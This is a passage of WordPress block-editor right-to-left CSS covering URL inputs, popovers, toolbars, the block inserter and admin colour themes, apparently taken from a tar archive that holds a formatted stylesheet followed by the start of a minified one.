600; padding: 15px 23px 14px; background: #f1f1f1; color: #007cba; color: var(--wp-admin-theme-color); line-height: normal; box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6); text-decoration: none; outline: none; z-index: 100000; } .block-editor-text-decoration-and-transform { display: flex; } .block-editor-text-transform-control { flex: 0 0 50%; } .block-editor-text-transform-control legend { margin-bottom: 8px; } .block-editor-text-transform-control .block-editor-text-transform-control__buttons { display: inline-flex; margin-bottom: 24px; } .block-editor-text-transform-control .block-editor-text-transform-control__buttons .components-button.has-icon { min-width: 24px; padding: 0; margin-left: 4px; } .block-editor-text-decoration-control { flex: 0 0 50%; } .block-editor-text-decoration-control legend { margin-bottom: 8px; } .block-editor-text-decoration-control .block-editor-text-decoration-control__buttons { display: inline-flex; margin-bottom: 24px; } .block-editor-text-decoration-control .block-editor-text-decoration-control__buttons .components-button.has-icon { min-width: 24px; padding: 0; margin-left: 4px; } .block-editor-tool-selector__help { margin-top: 8px; margin-right: -12px; margin-left: -12px; margin-bottom: -12px; padding: 12px 20px; border-top: 1px solid #ddd; color: #757575; min-width: 280px; } .block-editor-block-list__block .block-editor-url-input, .components-popover .block-editor-url-input, .block-editor-url-input { flex-grow: 1; position: relative; padding: 1px; } .block-editor-block-list__block .block-editor-url-input input[type=text], .components-popover .block-editor-url-input input[type=text], .block-editor-url-input input[type=text] { width: 100%; padding: 8px; border: none; border-radius: 0; margin-right: 0; margin-left: 0; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; } @media (min-width: 600px) { .block-editor-block-list__block .block-editor-url-input input[type=text], .components-popover .block-editor-url-input input[type=text], .block-editor-url-input input[type=text] { width: 300px; } } @media (min-width: 600px) { .block-editor-block-list__block .block-editor-url-input input[type=text], .components-popover .block-editor-url-input input[type=text], .block-editor-url-input input[type=text] { font-size: 13px; } } .block-editor-block-list__block .block-editor-url-input input[type=text]::-ms-clear, .components-popover .block-editor-url-input input[type=text]::-ms-clear, .block-editor-url-input input[type=text]::-ms-clear { display: none; } .block-editor-block-list__block .block-editor-url-input.is-full-width, .components-popover .block-editor-url-input.is-full-width, .block-editor-url-input.is-full-width { width: 100%; } .block-editor-block-list__block .block-editor-url-input.is-full-width .block-editor-url-input__input[type=text], .components-popover .block-editor-url-input.is-full-width .block-editor-url-input__input[type=text], .block-editor-url-input.is-full-width .block-editor-url-input__input[type=text] { width: 100%; } .block-editor-block-list__block .block-editor-url-input.is-full-width__suggestions, .components-popover .block-editor-url-input.is-full-width__suggestions, .block-editor-url-input.is-full-width__suggestions { width: 100%; } .block-editor-block-list__block .block-editor-url-input .components-spinner, .components-popover .block-editor-url-input .components-spinner, .block-editor-url-input .components-spinner { position: absolute; left: 8px; bottom: 17px; margin: 0; } .block-editor-url-input__input[type=text] { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; } @media (prefers-reduced-motion: reduce) { .block-editor-url-input__input[type=text] { transition-duration: 0s; } } @media (min-width: 600px) { .block-editor-url-input__input[type=text] { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .block-editor-url-input__input[type=text]:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .block-editor-url-input__input[type=text]::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .block-editor-url-input__input[type=text]::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .block-editor-url-input__input[type=text]:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .block-editor-url-input__input[type=text]::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .block-editor-url-input__input[type=text]::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .block-editor-url-input__input[type=text]:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .block-editor-url-input__suggestions { max-height: 200px; transition: all 0.15s ease-in-out; padding: 4px 0; width: 302px; overflow-y: auto; } @media (prefers-reduced-motion: reduce) { .block-editor-url-input__suggestions { transition-duration: 0s; } } .block-editor-url-input__suggestions, .block-editor-url-input .components-spinner { display: none; } @media (min-width: 600px) { .block-editor-url-input__suggestions, .block-editor-url-input .components-spinner { display: inherit; } } .block-editor-url-input__suggestion { padding: 4px 8px; color: #757575; display: block; font-size: 13px; cursor: pointer; background: #fff; width: 100%; border: none; text-align: right; box-shadow: none; } .block-editor-url-input__suggestion:hover { background: #ddd; } .block-editor-url-input__suggestion:focus, .block-editor-url-input__suggestion.is-selected { background: #005a87; background: var(--wp-admin-theme-color-darker-20); color: #fff; outline: none; } .components-toolbar-group > .block-editor-url-input__button, .components-toolbar > .block-editor-url-input__button { position: inherit; } .block-editor-url-input__button .block-editor-url-input__back { margin-left: 4px; overflow: visible; } .block-editor-url-input__button .block-editor-url-input__back::after { content: ""; position: absolute; display: block; width: 1px; height: 24px; left: -1px; background: #ddd; } .block-editor-url-input__button-modal { box-shadow: 0 2px 6px rgba(0, 0, 0, 0.05); border: 1px solid #ddd; background: #fff; } .block-editor-url-input__button-modal-line { display: flex; flex-direction: row; flex-grow: 1; flex-shrink: 1; min-width: 0; align-items: flex-start; } .block-editor-url-input__button-modal-line .components-button { flex-shrink: 0; width: 36px; height: 36px; } .block-editor-url-popover__additional-controls { border-top: 1px solid #ddd; } .block-editor-url-popover__additional-controls > div[role=menu] .components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary) > svg { box-shadow: none; } .block-editor-url-popover__additional-controls div[role=menu] > .components-button { padding-right: 2px; } .block-editor-url-popover__row { display: flex; } .block-editor-url-popover__row > :not(.block-editor-url-popover__settings-toggle) { flex-grow: 1; } .block-editor-url-popover .components-button.has-icon { padding: 3px; } .block-editor-url-popover .components-button.has-icon > svg { padding: 5px; border-radius: 2px; height: 30px; width: 30px; } .block-editor-url-popover .components-button.has-icon:not(:disabled):focus { box-shadow: none; } .block-editor-url-popover .components-button.has-icon:not(:disabled):focus > svg { box-shadow: inset 0 0 0 2px #007cba, inset 0 0 0 4px #fff; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 4px #fff; outline: 2px solid transparent; } .block-editor-url-popover__settings-toggle { flex-shrink: 0; border-radius: 0; border-right: 1px solid #ddd; margin-right: 1px; } .block-editor-url-popover__settings-toggle[aria-expanded=true] .dashicon { transform: rotate(-180deg); } .block-editor-url-popover__input-container .components-base-control:last-child, .block-editor-url-popover__input-container .components-base-control:last-child .components-base-control__field { margin-bottom: 0; } .block-editor-url-popover__settings { display: block; padding: 16px; border-top: 1px solid #ddd; } .block-editor-url-popover__link-editor, .block-editor-url-popover__link-viewer { display: flex; } .block-editor-url-popover__link-editor .block-editor-url-input .components-base-control__field, .block-editor-url-popover__link-viewer .block-editor-url-input .components-base-control__field { margin-bottom: 0; } .block-editor-url-popover__link-editor .block-editor-url-input .components-spinner, .block-editor-url-popover__link-viewer .block-editor-url-input .components-spinner { bottom: 9px; } .block-editor-url-popover__link-viewer-url { margin: 7px; flex-grow: 1; flex-shrink: 1; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; min-width: 150px; max-width: 500px; } .block-editor-url-popover__link-viewer-url.has-invalid-link { color: #cc1818; } .block-editor-warning { align-items: center; display: flex; flex-wrap: wrap; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 1em; border: 1px solid #1e1e1e; border-radius: 2px; background-color: #fff; } .block-editor-warning .block-editor-warning__message { line-height: 1.4; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; color: #1e1e1e; margin: 0; } .block-editor-warning p.block-editor-warning__message.block-editor-warning__message { min-height: auto; } .block-editor-warning .block-editor-warning__contents { display: flex; flex-direction: row; justify-content: space-between; flex-wrap: wrap; align-items: baseline; width: 100%; } .block-editor-warning .block-editor-warning__actions { display: flex; margin-top: 1em; } .block-editor-warning .block-editor-warning__action { margin: 0 0 0 8px; } .block-editor-warning__secondary { margin: auto 8px auto 0; } .components-popover.block-editor-warning__dropdown { z-index: 99998; } .html-anchor-control .components-external-link { display: block; margin-top: 8px; } #end-resizable-editor-section { display: none; } /** * Block Toolbar */ .block-editor-block-toolbar { display: flex; flex-grow: 1; width: 100%; overflow: auto; position: relative; transition: border-color 0.1s linear, box-shadow 0.1s linear; } @media (prefers-reduced-motion: reduce) { .block-editor-block-toolbar { transition-duration: 0s; } } @media (min-width: 600px) { .block-editor-block-toolbar { overflow: inherit; } } .block-editor-block-toolbar .components-toolbar-group, .block-editor-block-toolbar .components-toolbar { background: none; line-height: 0; margin-top: -1px; margin-bottom: -1px; border: 0; border-left: 1px solid #ddd; } .block-editor-block-toolbar > :last-child, .block-editor-block-toolbar > :last-child .components-toolbar-group, .block-editor-block-toolbar > :last-child .components-toolbar { border-left: none; } .block-editor-block-toolbar__block-controls { height: auto !important; padding: 0 !important; } .block-editor-block-toolbar__block-controls .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon, .block-editor-block-toolbar__block-controls .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon { width: 24px !important; margin: 0 !important; } .block-editor-block-toolbar__block-controls .block-editor-block-switcher .components-dropdown-menu__toggle:focus::before, .block-editor-block-toolbar__block-controls .block-editor-block-switcher__no-switcher-icon:focus::before { left: 4px !important; } .block-editor-block-toolbar__block-controls .block-editor-block-mover { margin-right: -6px; } .block-editor-block-toolbar .components-toolbar-group, .block-editor-block-toolbar .components-toolbar, .block-editor-format-toolbar .components-toolbar-group, .block-editor-format-toolbar .components-toolbar { display: flex; flex-wrap: nowrap; } .block-editor-block-toolbar__slot { display: inline-block; line-height: 0; } @supports ((position: -webkit-sticky) or (position: sticky)) { .block-editor-block-toolbar__slot { display: inline-flex; } } .block-editor-block-toolbar__block-parent-selector-wrapper { position: absolute; top: -1px; right: -1px; opacity: 0; transition: all 60ms linear; z-index: -1; } @media (prefers-reduced-motion: reduce) { .block-editor-block-toolbar__block-parent-selector-wrapper { transition-duration: 0s; } } .is-showing-movers .block-editor-block-toolbar__block-parent-selector-wrapper { opacity: 1; transform: translateY(-60px); } .show-icon-labels .block-editor-block-toolbar .components-button.has-icon { width: auto; } .show-icon-labels .block-editor-block-toolbar .components-button.has-icon svg { display: none; } .show-icon-labels .block-editor-block-toolbar .components-button.has-icon::after { content: attr(aria-label); font-size: 12px; } .show-icon-labels .components-accessible-toolbar .components-toolbar-group > div:first-child:last-child > .components-button.has-icon { padding-right: 6px; padding-left: 6px; } .show-icon-labels .block-editor-block-switcher { border-left: 1px solid #1e1e1e; } .show-icon-labels .block-editor-block-switcher .components-dropdown-menu__toggle { margin-right: 0; } .show-icon-labels .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon, .show-icon-labels .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon { width: 0 !important; height: 0 !important; } .show-icon-labels .block-editor-block-switcher .components-dropdown-menu__toggle:focus::before, .show-icon-labels .block-editor-block-switcher__no-switcher-icon:focus::before { left: 4px !important; } .show-icon-labels .block-editor-block-parent-selector__button .block-editor-block-icon { width: 0; } .show-icon-labels .block-editor-block-toolbar__block-controls .block-editor-block-mover { margin-right: 0; white-space: nowrap; } .show-icon-labels .block-editor-block-mover-button { padding-right: 8px !important; padding-left: 8px !important; } .show-icon-labels .block-editor-block-mover__drag-handle.has-icon { padding-right: 6px !important; padding-left: 6px !important; border-left: 1px solid #1e1e1e; } @media (min-width: 600px) { .show-icon-labels .is-up-button.is-up-button.is-up-button { border-bottom: 1px solid #1e1e1e; margin-left: 0; border-radius: 0; } } .show-icon-labels .block-editor-block-contextual-toolbar .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.block-editor-block-mover-button { width: auto; } .show-icon-labels .components-toolbar, .show-icon-labels .components-toolbar-group { flex-shrink: 1; } .show-icon-labels .block-editor-format-toolbar .components-button + .components-button { margin-right: 6px; } .block-editor-inserter { display: inline-block; background: none; border: none; padding: 0; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; line-height: 0; } @media (min-width: 782px) { .block-editor-inserter { position: relative; } } .block-editor-inserter__popover.is-quick .components-popover__content { border: none; } .block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter > * { border-right: 1px solid #ccc; border-left: 1px solid #ccc; } .block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter > *:first-child { border-top: 1px solid #ccc; } .block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter > *:last-child { border-bottom: 1px solid #ccc; } .block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter > *.components-button { border: 1px solid #1e1e1e; } .block-editor-inserter__popover .block-editor-inserter__menu { margin: -12px; } .block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__tabs .components-tab-panel__tabs { top: 60px; } .block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__main-area { overflow: visible; height: auto; } .block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__preview-container { display: none; } .block-editor-inserter__toggle.components-button { display: inline-flex; align-items: center; cursor: pointer; border: none; outline: none; padding: 0; transition: color 0.2s ease; } @media (prefers-reduced-motion: reduce) { .block-editor-inserter__toggle.components-button { transition-duration: 0s; } } .block-editor-inserter__menu { height: 100%; position: relative; overflow: visible; } .block-editor-inserter__main-area { width: auto; overflow-y: auto; height: 100%; } @media (min-width: 782px) { .block-editor-inserter__main-area { width: 350px; } } .block-editor-inserter__inline-elements { margin-top: -1px; } .block-editor-inserter__menu.is-bottom::after { border-bottom-color: #fff; } .components-popover.block-editor-inserter__popover { z-index: 99999; } .block-editor-inserter__search { padding: 16px; position: -webkit-sticky; position: sticky; top: 0; background: #fff; z-index: 1; } .block-editor-inserter__search input[type=search].block-editor-inserter__search-input { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; display: block; padding: 16px 16px 16px 48px; background: #f0f0f0; border: none; width: 100%; height: 48px; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; } @media (prefers-reduced-motion: reduce) { .block-editor-inserter__search input[type=search].block-editor-inserter__search-input { transition-duration: 0s; } } @media (min-width: 600px) { .block-editor-inserter__search input[type=search].block-editor-inserter__search-input { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .block-editor-inserter__search input[type=search].block-editor-inserter__search-input:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .block-editor-inserter__search input[type=search].block-editor-inserter__search-input:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .block-editor-inserter__search input[type=search].block-editor-inserter__search-input:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } @media (min-width: 600px) { .block-editor-inserter__search input[type=search].block-editor-inserter__search-input { font-size: 13px; } } .block-editor-inserter__search input[type=search].block-editor-inserter__search-input:focus { background: #fff; box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .block-editor-inserter__search input[type=search].block-editor-inserter__search-input:-ms-input-placeholder { color: #757575; } .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::placeholder { color: #757575; } .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-search-decoration, .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-search-cancel-button, .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-search-results-button, .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-search-results-decoration { -webkit-appearance: none; } .block-editor-inserter__search-icon { position: absolute; top: 0; left: 20px; bottom: 0; display: flex; align-items: center; } .block-editor-inserter__search-icon > svg { margin: 8px; } .block-editor-inserter__tabs { display: flex; flex-direction: column; margin-top: -8px; } .block-editor-inserter__tabs .components-tab-panel__tabs { position: -webkit-sticky; position: sticky; top: 72px; background: #fff; z-index: 1; border-bottom: 1px solid #ddd; } .block-editor-inserter__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item { flex-grow: 1; margin-bottom: -1px; } .block-editor-inserter__tabs .components-tab-panel__tab-content { display: flex; flex-grow: 1; flex-direction: column; position: relative; } .block-editor-inserter__panel-header { display: inline-flex; align-items: center; padding: 16px 16px 0; } .block-editor-inserter__panel-header-patterns { padding: 16px 16px 0; } .block-editor-inserter__panel-content { padding: 16px; } .block-editor-inserter__panel-title, .block-editor-inserter__panel-title button { margin: 0 0 0 12px; color: #757575; text-transform: uppercase; font-size: 11px; font-weight: 500; } .block-editor-inserter__panel-dropdown select.components-select-control__input.components-select-control__input.components-select-control__input { line-height: 1.2; } .block-editor-inserter__panel-dropdown select { border: none; } .block-editor-inserter__block-list { flex-grow: 1; position: relative; } .block-editor-inserter__popover .block-editor-block-types-list { margin: -8px; } .block-editor-inserter__reusable-blocks-panel { position: relative; text-align: left; } .block-editor-inserter__manage-reusable-blocks { display: inline-block; margin: 16px; } .block-editor-inserter__no-results { padding: 32px; margin-top: 64px; text-align: center; } .block-editor-inserter__no-results-icon { fill: #949494; } .block-editor-inserter__child-blocks { padding: 0 16px; } .block-editor-inserter__parent-block-header { display: flex; align-items: center; } .block-editor-inserter__parent-block-header h2 { font-size: 13px; } .block-editor-inserter__parent-block-header .block-editor-block-icon { margin-left: 8px; } .block-editor-inserter__preview-container { display: none; width: 300px; background: #fff; border-radius: 2px; border: 1px solid #ddd; position: absolute; top: 16px; right: calc(100% + 16px); max-height: calc(100% - 32px); overflow-y: hidden; } @media (min-width: 782px) { .block-editor-inserter__preview-container { display: block; } } .block-editor-inserter__preview-container .block-editor-block-card { padding: 16px; } .block-editor-inserter__preview-container .block-editor-block-card__title { font-size: 13px; } .block-editor-inserter__preview-content { min-height: 144px; background: #f0f0f0; display: -ms-grid; display: grid; flex-grow: 1; align-items: center; } .block-editor-inserter__preview-content-missing { flex: 1; display: flex; justify-content: center; align-items: center; min-height: 144px; color: #757575; background: #f0f0f0; } .block-editor-inserter__tips { border-top: 1px solid #ddd; padding: 16px; flex-shrink: 0; position: relative; } .block-editor-inserter__manage-reusable-blocks-container { padding: 16px; } .block-editor-inserter__quick-inserter { width: 100%; max-width: 100%; } @media (min-width: 782px) { .block-editor-inserter__quick-inserter { width: 350px; } } .block-editor-inserter__quick-inserter-results .block-editor-inserter__panel-header { height: 0; padding: 0; float: right; } .block-editor-inserter__quick-inserter .block-editor-inserter__panel-content { padding: 8px; } .block-editor-inserter__quick-inserter.has-search .block-editor-inserter__panel-content, .block-editor-inserter__quick-inserter.has-expand .block-editor-inserter__panel-content { padding: 16px; } .block-editor-inserter__quick-inserter-patterns { display: -ms-grid; display: grid; -ms-grid-columns: 1fr 1fr; grid-template-columns: 1fr 1fr; grid-gap: 8px; } .block-editor-inserter__quick-inserter-separator { border-top: 1px solid #ddd; } .block-editor-inserter__popover.is-quick > .components-popover__content > div { padding: 0; } .block-editor-inserter__quick-inserter-expand.components-button { display: block; background: #1e1e1e; color: #fff; width: 100%; height: 44px; border-radius: 0; } .block-editor-inserter__quick-inserter-expand.components-button:hover { color: #fff; } .block-editor-inserter__quick-inserter-expand.components-button:active { color: #ccc; } .block-editor-inserter__quick-inserter-expand.components-button:focus:not(:disabled) { box-shadow: inset 0 0 0 1.5px #007cba, inset 0 0 0 3px #fff; box-shadow: inset 0 0 0 1.5px var(--wp-admin-theme-color), inset 0 0 0 3px #fff; } .block-editor-post-preview__dropdown { padding: 0; } .block-editor-post-preview__button-resize.block-editor-post-preview__button-resize { padding-right: 40px; } .block-editor-post-preview__button-resize.block-editor-post-preview__button-resize.has-icon { padding-right: 8px; } .block-editor-post-preview__dropdown-content .components-popover__content { overflow-y: visible; } .block-editor-post-preview__dropdown-content.edit-post-post-preview-dropdown .components-menu-group:first-child { padding-bottom: 8px; } .block-editor-post-preview__dropdown-content.edit-post-post-preview-dropdown .components-menu-group:last-child { margin-bottom: 0; } .block-editor-post-preview__dropdown-content .components-menu-group + .components-menu-group { padding: 8px; } @media (min-width: 600px) { .edit-post-header__settings .editor-post-preview, .edit-site-header__actions .editor-post-preview { display: none; } } @media (min-width: 600px) { .edit-post-header.has-reduced-ui .edit-post-header__settings .editor-post-save-draft, .edit-post-header.has-reduced-ui .edit-post-header__settings .editor-post-saved-state, .edit-post-header.has-reduced-ui .edit-post-header__settings .block-editor-post-preview__button-toggle { transition: opacity 0.1s linear; } } @media (min-width: 600px) and (prefers-reduced-motion: reduce) { .edit-post-header.has-reduced-ui .edit-post-header__settings .editor-post-save-draft, .edit-post-header.has-reduced-ui .edit-post-header__settings .editor-post-saved-state, .edit-post-header.has-reduced-ui .edit-post-header__settings .block-editor-post-preview__button-toggle { transition-duration: 0s; } } @media (min-width: 600px) { .edit-post-header.has-reduced-ui:not(:hover) .edit-post-header__settings .editor-post-save-draft, .edit-post-header.has-reduced-ui:not(:hover) .edit-post-header__settings .editor-post-saved-state, .edit-post-header.has-reduced-ui:not(:hover) .edit-post-header__settings .block-editor-post-preview__button-toggle { opacity: 0; } .edit-post-header.has-reduced-ui:not(:hover) .edit-post-header__settings .block-editor-post-preview__button-toggle.is-opened { opacity: 1; } } body.admin-color-light { --wp-admin-theme-color: #0085ba; --wp-admin-theme-color-darker-10: #0073a1; --wp-admin-theme-color-darker-20: #006187; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-light { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-modern { --wp-admin-theme-color: #3858e9; --wp-admin-theme-color-darker-10: #2145e6; --wp-admin-theme-color-darker-20: #183ad6; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-modern { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-blue { --wp-admin-theme-color: #096484; --wp-admin-theme-color-darker-10: #07526c; --wp-admin-theme-color-darker-20: #064054; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-blue { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-coffee { --wp-admin-theme-color: #46403c; --wp-admin-theme-color-darker-10: #383330; --wp-admin-theme-color-darker-20: #2b2724; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-coffee { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-ectoplasm { --wp-admin-theme-color: #523f6d; --wp-admin-theme-color-darker-10: #46365d; --wp-admin-theme-color-darker-20: #3a2c4d; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-ectoplasm { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-midnight { --wp-admin-theme-color: #e14d43; --wp-admin-theme-color-darker-10: #dd382d; --wp-admin-theme-color-darker-20: #d02c21; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-midnight { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-ocean { --wp-admin-theme-color: #627c83; --wp-admin-theme-color-darker-10: #576e74; --wp-admin-theme-color-darker-20: #4c6066; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-ocean { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-sunrise { --wp-admin-theme-color: #dd823b; --wp-admin-theme-color-darker-10: #d97426; --wp-admin-theme-color-darker-20: #c36922; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-sunrise { --wp-admin-border-width-focus: 1.5px; } }css/dist/block-editor/style-rtl.min.css000064400000265226151202620300014114 0ustar00@charset "UTF-8";:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}#start-resizable-editor-section{display:none}.block-editor-autocompleters__block{white-space:nowrap}.block-editor-autocompleters__block .block-editor-block-icon{margin-left:8px}.block-editor-block-alignment-matrix-toolbar__popover .components-popover__content{min-width:0;width:auto}.block-editor-block-alignment-matrix-toolbar__popover .components-popover__content>div{padding:8px}.block-editor-block-icon{display:flex;align-items:center;justify-content:center;width:24px;height:24px}.block-editor-block-icon.has-colors svg{fill:currentColor}.block-editor-block-icon svg{min-width:20px;min-height:20px;max-width:24px;max-height:24px}.block-editor-block-inspector .components-base-control{margin-bottom:24px}.block-editor-block-inspector .components-base-control:last-child{margin-bottom:8px}.block-editor-block-inspector .components-panel__body{border:none;border-top:1px solid #e0e0e0}.block-editor-block-inspector .block-editor-block-card{padding:16px}.block-editor-block-inspector__no-blocks{display:block;font-size:13px;background:#fff;padding:32px 16px;text-align:center}.block-editor-block-styles .block-editor-block-list__block{margin:0}.block-editor-block-list__layout .block-editor-block-list__block,.block-editor-block-list__layout .block-list-appender{position:relative}.block-editor-block-list__layout .block-editor-block-list__block.is-drop-target:before,.block-editor-block-list__layout .block-list-appender.is-drop-target:before{content:"";position:absolute;z-index:0;pointer-events:none;transition:border-color .1s linear,border-style .1s linear,box-shadow .1s linear;top:-14px;left:0;right:0;border-top:4px solid #007cba;border-top:4px solid var(--wp-admin-theme-color)}.block-editor-block-list__layout .block-editor-block-list__block.is-drop-target.is-dropping-horizontally:before,.block-editor-block-list__layout .block-list-appender.is-drop-target.is-dropping-horizontally:before{top:0;bottom:0;right:-6px;border-top:none;border-right:4px solid #007cba;border-right:4px solid var(--wp-admin-theme-color)}.block-editor-block-list__layout{position:relative}.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:after,.is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-hovered:after,.is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-selected:after{position:absolute;z-index:1;pointer-events:none;content:"";top:1px;bottom:1px;right:1px;left:1px;box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);border-radius:1px;outline:2px solid transparent}.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:after,.is-dark-theme .is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-hovered:after,.is-dark-theme .is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-selected:after{box-shadow:0 0 0 2px #fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff}.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted .components-placeholder ::selection,.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected .components-placeholder ::selection,.is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-hovered .components-placeholder ::selection,.is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-selected .components-placeholder ::selection{background:transparent}.is-navigate-mode .block-editor-block-list__layout .block-editor-block-list__block.is-hovered:not(.is-selected):after{box-shadow:0 0 0 1px #949494}.block-editor-block-list__layout .is-block-moving-mode.block-editor-block-list__block.has-child-selected{box-shadow:0 0 0 2px #007cba;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent;outline:var(--wp-admin-border-width-focus) solid transparent}.block-editor-block-list__layout .is-block-moving-mode.block-editor-block-list__block.is-selected:before{content:"";position:absolute;z-index:0;pointer-events:none;transition:border-color .1s linear,border-style .1s linear,box-shadow .1s linear;left:0;right:0;top:-14px;border-radius:2px;border-top:4px solid #ccc}.block-editor-block-list__layout .is-block-moving-mode.block-editor-block-list__block.is-selected:after{content:none}.block-editor-block-list__layout 